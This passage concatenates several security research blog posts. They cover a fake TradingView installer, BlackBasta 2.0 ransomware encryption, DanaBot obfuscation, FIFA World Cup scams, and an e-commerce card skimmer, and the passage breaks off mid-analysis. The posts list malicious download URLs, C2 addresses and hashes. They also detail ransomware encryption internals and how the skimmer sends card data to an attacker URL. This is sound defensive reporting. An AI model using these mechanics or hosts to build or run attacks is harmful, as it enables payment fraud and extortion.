Exploitation for Client Execution Benign windows process is dropping new PE files T1574.002 DLL Side-Loading Tries to load missing DLLs T1055 Privilege Escalation Injects code into the Windows Explorer T1036 Defense Evasion Creates files inside the user directory T1070.004 File Deletion Deletes itself after installation T1497 Virtualization/Sandbox Evasion Checks for kernel code integrity T1564.001 Hidden Files and Directories Hides that the sample has been downloaded from the Internet T1010 Discovery Application Window Discovery T1057 Process Discovery Verifies the name of parent process T1082 System Information Discovery Gathers system OS version info T1518.001 Security Software Discovery Checks if the current machine is a virtual machine Checks if the current process is being debugged T1071 Application Layer Protocol: Web protocol Posts data to web server C2 URLs/IPs found in malware configuration T1095 Non-Application Layer Protocol: Tries to download or post to a non-existing http route T1105 Ingress Tool Transfer Some HTTP requests failed with 404. Part of communication protocol Indicators of Compromise Indicators Description TradingVlev_x32_x64bit.zip Fake TradingView Desktop Application Download fc99ea424df48f2b661219b71f33b979 MD5 of Fake TradingView Desktop Application 1a70718eefa2aef42f4b09577aea7b43ff874e02 SHA1 of Fake TradingView Desktop Application f4c166dddefd29eb457d0a7b426928b1123626c6c1568bc998440dac72a816b7 SHA256 of Fake TradingView Desktop Application TradingVlev_x32_x64bit.exe Fake TradingView Desktop Application 467d42eca35c0571c30d3f20700d9dff MD5 of Fake TradingView Desktop Application e26512838e6ffb8af84743ae37821694cd380003 SHA1 of Fake TradingView Desktop Application 9abdfcea109db4763065fee6d3e87299f03f57dba0307c67ad10cd86f0f2acf3 SHA256 of Fake TradingView Desktop Application 85.208.136.162 SmokeLoader C2 sxvlww.am.files.1drv.com Fake TradingView Application Distribution Domain tradingview.business Fake TradingView look-alike website hxxps://tradingview[.]business/download.php Fake TradingView download URL 212[.]8[.]246[.]70/builds/still[.]exe ArkeiStealer download URL 212[.]8[.]246[.]70/builds/installer[.]exe ArkeiStealer download URL 212[.]8[.]246[.]70/builds/bot[.]exe ArkeiStealer download URL 4d7f538bf21bf0c42fee87d28d3f3079 ArkeiStealer payload 55552ed60bddd332eee8a23f0494174f ArkeiStealer payload 16857afad0b6c40469e5d9d9b63a2927 ArkeiStealer payload 0743250f8bb1a0baa01affcfd963d171 ArkeiStealer payload References [1] “Demystifying the full attack chain of MineBridge RAT”, https://www.zscaler.com/blogs/security-research/demystifying-full-attack-chain-minebridge-rat Fri, 23 Dec 2022 09:13:40 -0800 Pallav Khandhar https://www.zscaler.com/blogs/security-research/trade-with-caution https://www.zscaler.com/blogs/security-research/back-black-basta Key Points BlackBasta emerged in February 2022 with double extortion ransomware attacks against organizations The threat group exfiltrates sensitive information from organizations before performing file encryption and demanding a ransom payment The previous version of BlackBasta shared many similarities to the now defunct Conti ransomware, although the malware code itself was novel In November 2022, BlackBasta ransomware received significant updates including the file encryption algorithms, introduction of stack-based string obfuscation, and per victim file extensions The ransomware code modifications are likely an attempt to better evade antivirus and EDR detection Zscaler ThreatLabz has been tracking prominent ransomware families and their tactics, techniques and procedures (TTPs) including the BlackBasta ransomware family. On November 16, 2022, ThreatLabz identified new samples of the BlackBasta ransomware that had significantly lower antivirus detection rates. The latest BlackBasta code has numerous differences compared to the original BlackBasta ransomware. The changes from the previous version include replacing the file encryption algorithms and switching from the GNU Multiple Precision Arithmetic Library (GMP) to the Crypto++ encryption library. Many of the malware’s strings have been obfuscated and the filenames have been randomized, which may hinder static-based antivirus detection and behavioral-based EDR detection. This blog focuses on these recent changes to BlackBasta. Since the current BlackBasta codebase is quite different from the original, ThreatLabz refers to this new version as BlackBasta 2.0. Technical Analysis The following sections analyze the changes to the BlackBasta ransomware including the string obfuscation, file encryption and compare various features that have been added, removed or modified. String Obfuscation Similar to Conti ransomware, the BlackBasta ransomware developer appears to be experimenting with stack-based string obfuscation using ADVObfuscator. Figure 1 shows an example obfuscated string that is constructed on the stack and decoded using an XOR operation with a single byte. Figure 1. BlackBasta 2.0 stack-based string obfuscation example Currently, not all strings in the ransomware are obfuscated, but it is likely that more strings will be obfuscated soon. File Encryption Perhaps the most significant modifications in BlackBasta 2.0 is to the encryption algorithms. Previous versions of BlackBasta ransomware used a per victim asymmetric 4,096-bit RSA public key and a per file ChaCha20 symmetric key. The RSA algorithm was implemented using the GNU Multiple Precision Arithmetic Library (GMP). In the latest version of BlackBasta ransomware, the encryption algorithms have been replaced with Elliptic Curve Cryptography (ECC) and XChaCha20. The encryption library used to implement these algorithms in BlackBasta 2.0 is Crypto++. The elliptic curve used by BlackBasta 2.0 is NIST P-521 (aka secp521r1). An example hardcoded NIST P-521 public key embedded in a BlackBasta 2.0 sample is shown below: Public-Key: (521 bit) pub: 04:00:52:1f:d8:b3:65:b7:9c:30:bd:fa:1c:88:cc: 77:77:81:f6:50:9d:d9:17:8d:17:d8:fa:3a:8c:b0: f2:6f:87:21:0c:95:db:94:f5:9c:bf:fd:ca:f0:8d: 19:6a:9c:2f:9f:4b:96:20:31:95:41:54:3e:92:43: ed:7b:d1:81:8c:58:78:01:2e:31:b8:02:7a:c1:b9: 7f:2f:b4:b2:ba:aa:df:ed:68:a2:df:eb:90:4a:4f: da:28:10:db:f5:ae:12:08:cf:dd:1f:10:80:48:00: 32:38:1d:23:40:0c:ca:05:2c:5c:d2:79:1d:ae:8f: 0a:74:a1:1c:79:b3:0c:38:21:aa:94:1a:4f ASN1 OID: secp521r1 NIST CURVE: P-521 writing EC key -----BEGIN PUBLIC KEY----- MIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAUh/Ys2W3nDC9+hyIzHd3gfZQndkX jRfY+jqMsPJvhyEMlduU9Zy//crwjRlqnC+fS5YgMZVBVD6SQ+170YGMWHgBLjG4 AnrBuX8vtLK6qt/taKLf65BKT9ooENv1rhIIz90fEIBIADI4HSNADMoFLFzSeR2u jwp0oRx5sww4IaqUGk8= -----END PUBLIC KEY----- The encryption process used by BlackBasta 2.0 leverages the Crypto++ Elliptic Curve Integrated Encryption Scheme (ECIES) in Diffie-Hellman Augmented Encryption Scheme (DHAES) mode (also known as DHIES to avoid confusion with the Advanced Encryption Standard) to generate a per file XChaCha20 and a hash-based message authentication code (HMAC). BlackBasta appends a 314-byte footer to files after encryption has been completed as shown below in Figure 2. Figure 2. Example BlackBasta 2.0 encrypted file footer The first 133-bytes (in blue) are an ephemeral NIST P-521 public key generated per file. The next 56 bytes are an encrypted per file XChaCha20 32-byte key and 24-byte nonce (in green), followed by a 20-byte HMAC (in red). This is followed by NULL byte padding and a two-byte value (in orange) for the size of the cryptographic material. The last 12 bytes (in purple) are a marker (e.g., j4ftnwzxbrf), which changes per victim that the BlackBasta decryption tool can use to identify encrypted files. The encryption process starts by generating an ephemeral NIST P-521 key pair. The corresponding private key is then used to generate a shared secret with the hardcoded public key using the Diffie-Hellman algorithm. The result is passed to the key derivation function KDF2 to produce 72 pseudorandom bytes. The first 16-bytes are used as a HMAC key and the subsequent 56 bytes are used as an XOR key to encrypt the file’s XChaCha20 key and nonce (shown above in green). The per file XChaCha20 key and nonce are generated using the Crypto++ random number generator library. The HMAC is calculated with the ciphertext using the SHA1 hash algorithm. The result can be used for message verification with the 20 bytes in the footer (shown in red). To optimize for speed, BlackBasta encrypts files differently with XChaCha20 based on the file's size. If the file is less than 5,000 bytes the full file is encrypted in blocks of 64 bytes. If the file size is greater than 64 bytes and not an even multiple of 64 bytes, the last 64 byte block will not be encrypted. If the file size is less than or equal to 1,073,741,824 (0x40000000) bytes (i.e., 1GB), BlackBasta alternates encrypting 64 byte blocks followed by 128 bytes that are skipped (i.e., not encrypted) until the end of the file is reached as shown in Figure 3. Figure 3. Example file with null bytes encrypted by BlackBasta 2.0 ransomware alternating between encrypted and unencrypted blocks If the file is larger than 1GB, BlackBasta will first encrypt the first 5,064 bytes, skip 6,336 bytes, encrypt 64 bytes, skip 6,336 bytes, and so on until the end of the file has been reached. The XChaCha20 encryption code is shown in Figure 4. Figure 4. BlackBasta 2.0 XChaCha20 file encryption code After encryption is complete, BlackBasta 2.0 renames the filename with a hardcoded per-victim extension such as .agnkdbd5y, .taovhsr3u or .tcw9lnz6q. The previous version of BlackBasta used only .basta for the encrypted file extension. The encrypted ransom files’ icon image has also been modified from a white box to a red box as shown in Figure 5. Figure 5. BlackBasta (original and new) encrypted file icon images While this change is rather small, this may be sufficient to bypass static signatures that antivirus products may use to detect BlackBasta. Ransom Note BlackBasta 2.0 has modified the ransom note text as shown in Figure 6. Figure 6. Example BlackBasta 2.0 ransom note (November 2022) The ransom note filename has also changed from readme.txt to instructions_read_me.txt. BlackBasta 2.0 opens the ransom note in Windows Notepad via the command cmd.exe /c start /MAX notepad.exe. BlackBasta Feature Parity Table 1 compares the features between BlackBasta versions 1.0 and 2.0. Feature BlackBasta 1.0 BlackBasta 2.0 Encryption library GMP Crypto++ Asymmetric encryption 4,096-bit RSA NIST P-521 Symmetric encryption ChaCha20 XChaCha20 Change encrypted file icon Yes Yes Encrypted file extension .basta .[a-z0-9]{9} Change desktop wallpaper Yes No Readme filename readme.txt instructions_read_me.txt String obfuscation No Yes Terminate processes and services Yes No Delete shadow copies Yes Yes / No (varies between samples) Encrypted file icon name fkdjsadasd.ico fkdjsadasd.ico Mutex name dsajdhas.0 ofijweiuhuewhcsaxs.mutex Table 1. Feature parity between BlackBasta 1.0 and BlackBasta 2.0 In addition to the aforementioned differences, BlackBasta 2.0 no longer changes the victim’s desktop wallpaper, nor terminates processes and services that may interfere with file encryption. The mutex name has also been updated. The number of command-line parameters has also been modified as shown in Table 2. Command-line parameter BlackBasta 1.0 BlackBasta 2.0 Description -threads No Yes Number of threads to use for encryption -nomutex No Yes Do not create a mutex -forcepath Yes Yes Encrypt files in the specified path -bomb Yes (in newer builds) No Spread via ActiveDirectory and launch ransomware Table 2. Comparison between BlackBasta command-line parameters Conclusion Members of the Conti ransomware group appear to have splintered into multiple threat groups including BlackBasta, which has become one of the most significant ransomware threats. ThreatLabz has observed more than five victims that have been compromised by BlackBasta 2.0 since the new version’s release in mid November 2022. This demonstrates that the threat group is very successful at compromising organizations and the latest version of the ransomware will likely enable them to better evade antivirus and EDRs. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to BlackBasta at various levels with the following threat names: Win32.Ransom.BlackBasta Win32.Ransom.Blackbasta.LZ ELF64.Ransom.BlackBasta Indicators of Compromise SHA256 Hash Description e28188e516db1bda9015c30de59a2e91996b67c2e2b44989a6b0f562577fd757 BlackBasta 2.0 sample (executable) c4c8be0c939e4c24e11bad90549e3951b7969e78056d819425ca53e87af8d8ed BlackBasta 2.0 sample (executable) 350ba7fca67721c74385faff083914ecdd66ef107a765dfb7ac08b38d5c9c0bd BlackBasta 2.0 sample (executable) 51eb749d6cbd08baf9d43c2f83abd9d4d86eb5206f62ba43b768251a98ce9d3e BlackBasta 2.0 sample (DLL) 07117c02a09410f47a326b52c7f17407e63ba5e6ff97277446efc75b862d2799 BlackBasta 2.0 sample (DLL) These IOCs are also provided in the ThreatLabz GitHub repository here. Thu, 01 Dec 2022 23:21:16 -0800 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/back-black-basta https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques Key Points DanaBot is a malware-as-a-service platform discovered in 2018 that is designed to steal sensitive information that may be used for wire fraud, conduct cryptocurrency theft, or perform espionage related activities The malware is heavily obfuscated which makes it very difficult and time consuming to reverse engineer and analyze Zscaler ThreatLabz has reverse engineered the various obfuscation techniques used by DanaBot and developed a set of tools using IDA Python scripts to assist with binary analysis DanaBot, first discovered in 2018, is a malware-as-a-service platform that threat actors use to steal usernames, passwords, session cookies, account numbers, and other personally identifiable information (PII). The threat actors may use this stolen information to commit banking fraud, steal cryptocurrency, or sell access to other threat actors. While DanaBot isn’t as prominent as it once was, the malware is still a formidable and active threat. Recently, version 2646 of the malware was spotted in the wild and also a researcher tweeted screenshots of Danabot’s advertisement website shown in Figure 1. Figure 1: DanaBot’s advertisement website Unfortunately, the DanBot developers have done a very good job of obfuscating the malware code. Therefore, it is very difficult and time consuming process to to reverse engineer and analyze. This is a companion blog post to a set of IDA Python scripts that Zscaler ThreatLabz is releasing on our Github page. The goal of the scripts is to help peel away some of the layers of DanaBot’s obfuscations and inspire additional research into not only the obfuscation techniques, but the malware itself. Technical Analysis The following sections summarize the numerous techniques that the DanaBot developers have implemented to obfuscate the malware binary code. Junk Byte Jumps One of the first anti-analysis techniques that DanaBot employs is a “junk byte jump” instruction. This is an anti-disassembly technique where a jump instruction will always jump over a junk byte. The junk byte is skipped during normal program execution, but causes IDA Pro to display an incorrect disassembly. An example of this technique is shown in Figure 2: Figure 2: An example of a junk byte jump The 01_junk_byte_jump.py IDA Python script searches for junk byte jump patterns and patches them with NOP instructions. This operation fixes IDA Pro’s disassembly as shown in Figure 3. Figure 3: An example of a patched junk byte jump Dynamic Returns The next anti-analysis technique is a “dynamic return” operation. This technique calculates a new return address at the end of a function, causing a change in the program’s control flow. In DanaBot’s implementation, they are used to “extend” a function–exposing additional hidden code. An example of a dynamic return is shown in Figure 4. Figure 4: An example of a dynamic return Using the 02_dynamic_return.py IDA Python script, these dynamic returns can be patched, the functions extended, and the hidden code exposed. An example of this is shown in Figure 5. Figure 5: An example of a patched dynamic return Stack String Deobfuscation Preparation and Code Re-analysis Before moving on to additional DanaBot anti-analysis techniques, we’ve included three IDA Python scripts: 03_uppercase_jumps.py 04_letter_mapping.py 05_reset_code.py The first two scripts are preparation steps to help with stack string deobfuscation described in a later section. The first script patches out a code pattern that is used to uppercase letters (this removes a small function basic block that interferes with stack string reconstruction) and the second script renames variables that store the letters used in stack strings. Before running the third script, check that IDA Pro’s ”Options->Compiler…” is set to “Delphi” (see Figure 6.) Figure 6: IDA Pro’s Compiler options Since the previous scripts patched a lot of existing code and exposed a bunch of new code, the 05_reset_code.py script helps reset and re-analyze the modified code in IDA Pro to get a cleaner IDB database. Once the script and analysis completes, some manual clean up may be required. Our general method is: Search → Sequence of bytes… Search for the standard function prolog: 55 8B EC Sort by Function For each result without a defined function: Right click → Create function… Look for any addresses that are causing issues in the Output window Right click → Undefine Right click → Code Junk StrAsg and StrCopy Function Calls DanaBot adds a lot of junk code to slow down and complicate reverse engineering. One of the junk code patterns is adding extraneous StrAsg and StrCopy function calls. These functions are part of the standard Delphi library and are used to assign or copy data between variables. Figure 7 shows an example snippet of code with a number of these calls. If we trace the variable arguments we can see that they are usually assigned to themselves or a small set of other variables that aren’t used in actual malware code. Figure 7: Example of junk StrAsg and StrCopy function calls The IDA Python script 06_fake_UStrLAsg_and_UStrCopy.py tries to find and patch these junk calls. Figure 8 shows the result in the example from Figure 7. Figure 8: Example of patched junk StrAsg and StrCopy function calls Stack Strings The next obfuscation method is DanaBot’s version of creating “stack strings”. The malware assigns letters of the alphabet to individual variables and then uses those variables, pointers to those variables, and various Delphi character/string handling functions to construct strings one character at a time. Figure 9 is an example construction of the string “wow64.dll”. Figure 9: Example stack string of “wow64.dll” These stack strings litter most of the malicious functions in DanaBot and very easily lead to reverse engineering fatigue. On top of that, while some of the constructed strings are used for malware purposes, most of them turn out to be junk strings. Figure 10 is a snippet of output from a script that will be introduced below. As can be seen in the figure, most of the strings are random DLL, executable, and Windows API names. Figure 10: Example script output showing junk strings The best way to extract these stack strings is by emulating the construction code, but due to the following reasons we experimented with another deobfuscation technique: There are thousands of these strings There are not clear start/end patterns to automatically extract the construction code They rely on standard Delphi functions which aren’t particularly easy to emulate Most of them are junk strings The sheer amount of construction code hinders malware analysis the most The goal of the IDA Python scripts 07_stack_string_letters_to_last_StrCatN_call.py and 08_set_stack_string_letters_comments.py is not to extract a wholly accurate stack string, but enough of the string to determine whether the string is junk or not. After some trial and error experimentation, the scripts also try their best to remove the stack string construction code to allow for much easier analysis. If the string turns out to be legitimate, the original construction code is saved as comments so a proper extraction of the string can be done if/when needed. Empty Loops and Junk Math Loops After removing the junk StrAsg and StrCopy function calls and the stack strings, there will be a bunch of empty loops. The IDA Python script 09_empty_loops.py can be used to remove these loops. There will also be loops left that just contain junk math code (see Figure 11.) The IDA Python script 10_math_loops.py will remove these junk code math loops. Figure 11: Example junk math loops Junk Strings and Junk Global Variables As we saw in the stack strings section above, there were a lot of DLL, executable, and Windows API name based junk strings. These junk strings exist as normal strings as well, see Figure 12 as an example. Figure 12: Example junk strings While we haven’t found good patterns to automatically remove references to these junk strings, the IDA Python script 11_rename_junk_variables.py renames them as “junk” to ease manual analysis. DanaBot also adds a lot of junk code involving global variables and various math operations, see Figure 13 for an example. Figure 13: Example junk global variable math The IDA Python script 12_rename_junk_random_variables.py attempts to locate and rename these variables as “junk” to help with analysis. Miscellaneous Tips and Tricks Based on our experience reverse engineering DanaBot over the years, we have found the following miscellaneous tricks and tips to be helpful. The first is using the Interactive Delphi Reconstructor (IDR) program to export standard Delphi library function and variable names. We use Tools → MAP Generator and Tools → IDC Generator to export MAP and IDC files. While IDR creates an IDA IDC script, we don’t use it directly as it degrades the quality of the IDA Pro disassembly/decompilation. Instead, we use the scripts idr_idc_to_idapy.py and idr_map_to_idapy.py to extract the information from the generated IDC and MAP files and use the output scripts to import the naming information. DanaBot resolves some of its Windows API functions by hash, so we use OALabs’ HashDB IDA Plugin (which recently added support for DanaBot’s hashing algorithm) to resolve the names by hash. Finally, we make liberal use of IDA Pro’s right click → Collapse item feature to hide the remaining junk code, especially the renamed junk strings and global variables. Before and After Example As an overall example, Figure 14 is a screenshot for a section of DanaBot code before the deobfuscation scripts have been applied. The details of the code don’t particularly matter for this discussion, but the snippet shows DanaBot’s initialization of its 455-byte binary structure used in its initial “system information” command and control beacon. Figure 14: Example of code before deobfuscations Figure 15 is an example of the same code snippet after applying the deobfuscation scripts. Figure 15: Example of code after deobfuscations Conclusion While there is still room for improvement, the DanaBot malware code is much easier to analyze and reason about. Expanding the scope to the entire binary, the deobfuscation techniques significantly reduce the complexity and time spent while reverse engineering the malware. We look forward to making further improvements/additions and welcome other researchers’ contributions to the existing scripts to peel away more layers of DanaBot’s obfuscation. Zscaler Detection Status W32/Danabot Cloud Sandbox Detection Indicators of Compromise IOC Notes 8c6224d9622b929e992500cb0a75025332c9cf901b3a25f48de6c87ad7b67114 SHA256 hash of DanaBot version 2646 main component Tue, 06 Dec 2022 08:37:57 -0800 Dennis Schwarz https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques https://www.zscaler.com/blogs/security-research/surge-fake-fifa-world-cup-streaming-sites-targets-virtual-fans Zscaler ThreatLabz is always on the lookout for threat actors trying to take advantage of major world news and events. The FIFA World Cup 2022 has brought with it a spike in cyber attacks targeting football fans through fake streaming sites and lottery scams, leveraging the rush and excitement around these uncommon events to infect users with malware. Similar to the rise in sites and cyber attacks observed in 2020 during the Tokyo Olympics, recently ThreatLabz has observed an increase in newly registered domains related to the FIFA World Cup. Not all of these domains are malicious, but as defenders it is important that we classify all newly registered domains as suspicious and conduct analysis to weed out hidden offenders. Below is an overview of the traffic trends and cyber attack campaigns observed around the upcoming FIFA World Cup event. Key Points As the FIFA World Cup nears, ThreatLabz researchers have observed a significant spike in new streaming sites with newly registered domains. Fake streaming sites are also using legitimate websites/ portals to post fake streaming links. Attackers are seen targeting users with multiple related scams like World Cup match tickets, airline tickets, and themed lottery draws etc. Different malware families have been jumping on board and leveraging the FIFA World Cup event to target football fans. Attackers are also targeting users with the malicious cracked version of the games related to FIFA/football. Most of the malware and scam campaigns leveraging the ongoing FIFA World Cup are using newly registered domains. Traffic Trends As the FIFA World Cup started ThreatLabz saw a significant increase in the number of streaming transactions starting on November 21st. Case Study 1 : Fake streaming sites ThreatLabz observed a spike in fake streaming sites and other scam sites that claim to be offering free streaming of the FIFA World Cup matches but instead redirect users and then prompts them to enter payment card details. Similar templates for fake streaming sites appeared in 2020 during the Tokyo Olympics. In most of the current and past cases observed by the researchers, newly registered domains are used to host the scam sites but in a few examples legitimate established sites like Xiaomi, Reddit, OpenSea, and LinkedIn host fake links that redirect to the malicious sites. Figure 1: Fake streaming site link posted on a Linkedin profile and the redirected fake site. In the campaign shown above, victims are enticed to visit a malicious site claiming to provide live streaming of the FIFA World Cup 2022 opening ceremony. The site then redirects to a fake streaming site hosted on Blogspot and users are prompted to create an account for free access to watch the live streaming event. In another example, a link to a fake streaming site hosted on OpenSea does the same thing. Figure 2: Screenshots showing fake streaming site and related link posted on OpenSea. As the user enters their email address and password credentials to create a new account, they undergo multiple redirects which finally land them on a YouTube video. Figure 3: Redirection chain. Visitors to many of these fake streaming sites are prompted to provide payment card details within form templates similar to the one seen below. Figure 4: Fake streaming site payment page. Case 2: FIFA WorldCup related scams As the FIFA World Cup kicked off, researchers observed a rapid rise in threats and scam sites related to the event. Many newly registered sites offering World Cup tickets are being hosted by scammers trying to trick users into paying for fake tickets. The threat actors behind these scam sites are typically trying to collect fake ticket fees or steal payment card details. In the example shown below, a suspicious pop-up site offering World Cup match tickets was recently registered on Nov 15th. Due to the high number of scams like this one, many organizations select to block, limit, or analyze newly registered domains, categorized as less than 10 days old. Figure 5: Fake FIFA match ticket site. These ongoing scams are not limited to the World Cup match tickets but instead extend to many aspects of the ongoing FIFA World Cup fever. ThreatLabz has also observed a scam where users are offered prize money and airline tickets by Qatar Airways. The domain for the related scam site, shown in the screenshot below, was registered on Nov 11th, this timing suggests to researchers that the attackers behind this attack site are targeting World Cup fans. Figure 6: Scam website with fake Qatar airline lottery message. Attackers are also seen targeting users by sending fake lottery emails and pretending to be a Qatar FIFA World Cup 2022 lottery committee. Below is one such email which has an attached PDF with the lottery details. Figure 7: Scam email imitating the FIFA organizing committee. In this scam, an email with a PDF attachment identifies the target victim as the prize winner of a large lottery drawing. Users are asked to open the attachment and send their personal details to claim the award money. Figure 8: PDF file attached to the scam email. Case 3: SolarMarker malware activity SolarMarker is a well-known malware family with infostealer capabilities that use Search Engine Optimization (SEO) manipulation techniques to lure in victims and deliver the initial payload. Most commonly, ThreatLabz researchers have observed these attackers hosting the malicious PDF files on compromised Wordpress sites with discoverable URLs and search engine results. ThreatLabz observed a few cases where SolarMarker is targeting the football fans trying to buy WorldCup stickers from compromised ecommerce sites. When the user clicks to download one of these fake PDFs they are automatically redirected to a hacker controlled site that delivers the malicious Microsoft's Windows Installer (MSI) service payload to perform the rest of the attack. Figure 9: Malicious PDF file hosted on the compromised site. Case 4: Fake cracked FIFA game distributing infostealer through PDF Attackers are using malicious PDF files hosted on compromised websites to deliver infostealers by luring users to download what they think is an illegally cracked recording of the FIFA games. In August, ThreatLabz observed a similar threat campaign for fake pirated software downloads, but in comparison, these new discoveries feature several enhancements along with the use of malicious PDFs. Notably, these attackers are also using SEO manipulation techniques to list the malicious PDF links in ‘cracked FIFA games’ search engine results. As noted in the August threat campaign, one of the key characteristics of these threats is that they target victims that are doing something they shouldn’t be - like searching for versions of pirated software and cracked games that require payment for legitimate access. Targeting this type of fringe risk-taking behavior by users definitely gives attackers an advantage, because victims are already expecting a shady and unfamiliar site run by hackers. Additionally, the ability to verify the safety of a site, link, or file is beyond the technical capabilities for most general visitors. Figure 10: Malicious PDF file that downloads malware. As the user clicks to download the PDF, they are instantly redirected to a newly registered domain that serves up an archive file containing the malicious executable. Figure 11: Screenshot of the malicious fake ‘cracked game recording’ download prompt that delivers the malicious payload when user clicks to download the file. Case 5: Parrot TDS fake updates malware Parrot TDS is the fake update malware campaign, active since 2017, that works by injecting malicious JavaScript code into poorly secured content management systems CMS (i.e. Wordpress, Joomla), typically with weak admin passwords. In most cases Parrot TDS threat actors lure victims to download the infecting remote access tool file by displaying a notification that the user is missing critical browser updates. The Parrot TDS script also filters the users based on their IP addresses and user-agents. ThreatLabz recently observed that FIFA World Cup information sites are being targeted by this malware, as shown in the screenshot below. Figure 12: Malicious Parrot TDS script injected in compromised Wordpress site. Guidelines to protect against these attacks: Book FIFA World Cup airline tickets only from the authorized vendors and verified sites. For online streaming the World Cup matches only use the FIFA World Cup’s streaming partner’s website. Beware of fraudulent emails related to lottery or give away scams. Avoid downloading cracked software and games from untrusted websites. Don’t fall for exciting “too good to be true” offers from unknown sources, and be extremely wary of clicking on links or documents from these sources. Always make sure you are utilizing HTTPS/secure connections. Use two-factor authentication whenever possible, especially on sensitive accounts such as those used for banking. Always ensure that your operating system and web browser have the latest security patches installed. Backup your documents and media files - this is extremely important with ransomware infections. Indicators of Compromise Fake/ Scam websites linkedin[.]com/pulse/official-fifa-world-cup-2022-live-micker-hukkker fifaworldcupontv[.]blogspot[.]com opensea[.]io/collection/fifa-world-cup-2022-qatar-vs-ecuador-watch-hd-onli sportsevents4me[.]store humourousretort[.]top i13lc8k[.]cn bestsports-stream[.]com gatewaytoworld[.]com Fifafootball[.]io Fifa2022worldcup[.]net Malicious samples 09FAF066833D24B049DBC3C824AE25E3 556858D3B8629407A65E2737C1DED5DC 277760FC389F8F21A50FB04D27519BEF 8C436293FD1221FAD3E48ECEDAE683A5 02E7CA1129049755697C8185AC8F98B9 D0DEE3AAC6A71AA9E9E4FC6E411574F0 3E74F0F073E296460C52EEE06E914B25 346E4B588F0A6EBE9E0E6B086D23E933 C87B80497B85B22BE53F52E0F2EBDF11 854D5DFE2D5193AA4150765C123DF8AD Malicious URLs eurotranslations[.]ie/wp-content/uploads/formidable/13/panini-world-cup-sticker-spreadsheet.pdf wartimestac[.]site/Panini-World-Cup-Sticker-Spreadsheet/pdf/sitedomen/ ww16[.]rocklandbase[.]site rocklandbase[.]site xbitwiseacre[.]site ww16[.]hornwien[.]site hornwien[.]site ww25[.]violentpreamps[.]site violentpreamps[.]site brazingonestop[.]site ww6[.]brazingonestop[.]site schemeresource[.]site ww16[.]brazingonestop[.]site karenstatus[.]site ww16[.]followfoxconn[.]site overadmit[.]site earningsteel[.]site ww16[.]hrslimwound[.]site hrslimwound[.]site ww38[.]violentpreamps[.]site followfoxconn[.]site ww16[.]idolwizardry[.]site ww16[.]excitinghear[.]site africanscientists[.]africa/wp-content/uploads/2022/07/kesfaus.pdf arakusus[.]com/8c089e99b7202cce09c9fdc197d90c17waTJUERFj6tPQSyHT6Fi2fdM4hl9/clCEyFhwUkazz1uDE brakenetic[.]com/wp-content/uploads/verowes.pdf yzerfonteinaccommodation.co[.]za/wp-content/uploads/2022/07/Fifa_22_Product_Key_And_Xforce_Keygen___Free_Registration_Code_Free_For_Windows.pdf sattology[.]org/wp-content/uploads/2022/07/Fifa_22_Patch_With_Serial_Key_MacWin.pdf games-blacksoft[.]com/keygen-fifa-23-serial-number-key-crack-pc/ 193.106.191[.]30/MicrosoftKeys.exe 193.56.146[.]168/del/lo2ma.exe 194.110.203[.]101/puta/softwinx86.exe 95.214.24[.]96/load.php?pub=mixinte 163.123.143[.]4/download/Service.bmp Tue, 22 Nov 2022 17:36:20 -0800 Prakhar Shrotriya https://www.zscaler.com/blogs/security-research/surge-fake-fifa-world-cup-streaming-sites-targets-virtual-fans https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season Summary At Zscaler ThreatLabz, we have been closely monitoring web threats such as payment card skimming attacks against e-commerce stores. Starting in July 2022, we have observed an increase in such activity targeted against Magento and Presta Shop e-commerce stores. With Black Friday and the holiday season approaching, it is expected that there will be an increase in online shopping activity among users as they rush to take advantage of various discount offers. These holiday shopping trends make skimming attacks even more lucrative for threat actors as they can increase their success rate of stealing payment card details of victims. In this blog, we will share details of 4 groups of skimming attacks that have very little to no documentation in the public domain. Most of the indicators related to these attacks have no detection by security vendors. We have shared the complete list of IOCs. Based on our observation, e-commerce stores in the US, UK, Australia, and Canada were primarily targeted by these threat actors. Most of the attacks we observed have a shelf life of more than 1 month. Key points Payment card skimming attacks continue to pose a prevalent threat to e-commerce stores. Magento and Presta-based e-commerce stores in US, UK, Australia and Canada were primarily targeted since July 2022 These skimming campaigns have a long shelf life and manage to keep their malicious activities under the radar for several months. New variants of skimming attacks rely on heavy use of JavaScript obfuscation which makes detection more difficult. An increase in web-based threats such as CC skimming around the holiday season can be expected since threat actors prey on unsuspecting shoppers' increased activity during this time. Technical analysis Group 1 In August and September 2022, we observed a new CC skimmer in-the-wild in low-volume attacks against Magento e-commerce websites. The JavaScript skimmer code was hosted on attacker-registered domains and the link to these skimmers was injected in the compromised e-commerce sites. We identified 2 unique domains used in this attack by the threat actor. Interestingly, both these domains would redirect the user to the legit nodeJS website when accessed directly. It is worth noting that both these domains have very little to no detection on VirusTotal which indicates that the threat actor was able to stay under the radar. Figure 1: Very low detection of skimmer-related malicious domains During the course of tracking this threat actor, we noticed two variants of skimmer code used. One of them was obfuscated and included some additional functionalities. We'll discuss both variants here. Variant 1 This CC Skimmer is hosted at the URL: hxxps://modersecure[.]com/sources.200x/google-analytics.js Below are the main functionalities of this skimmer: 1. Uses the setInterval() function to check every 1.5 seconds whether the current URL contains the string "/checkout/#payment". This string corresponds to the checkout page of the compromised e-commerce store and indicates that the user is ready to purchase the items added to the cart. 2. Calls the findBtnAddAction() function which uses HTML DOM to locate the payment button on the page. It then adds an event listener for this button which activates as soon as the user clicks it. 3. Event Listener calls the sendCardData() function which further calls the getCardData() function to retrieve the payment card data information. This information will be base64-encoded and sent to the attacker's data exfiltration URL. In this case it is: modersecure[.]com/sources.200x/analytic.php. The info is exfiltrated using navigator.sendBeacon() function which sends an HTTP POST request Collection of payment card information Information about the payment card will be collected and stored in the following key-value pair structure. { 'number_key': cardNumber, 'exp_key': cartExp, 'cvc_key': cvv } The method used to collect the payment card information is customized according to the targeted e-commerce store. Below are a few examples. Stripe payment Code searches for the following elementIDs in the web page to locate the card number, expiry date, and cvv code if Stripe payment processor is being used. stripe-payments-card-numbers stripe-payments-card-expirys stripe-payments-card-cvcs Moneris payment In cases where e-commerce stores in Canada were compromised, the skimmer code searched for Moneris payment information. Moneris is a popular Canada-based payment processing company and often used as a payment gateway on Canada-based Magento 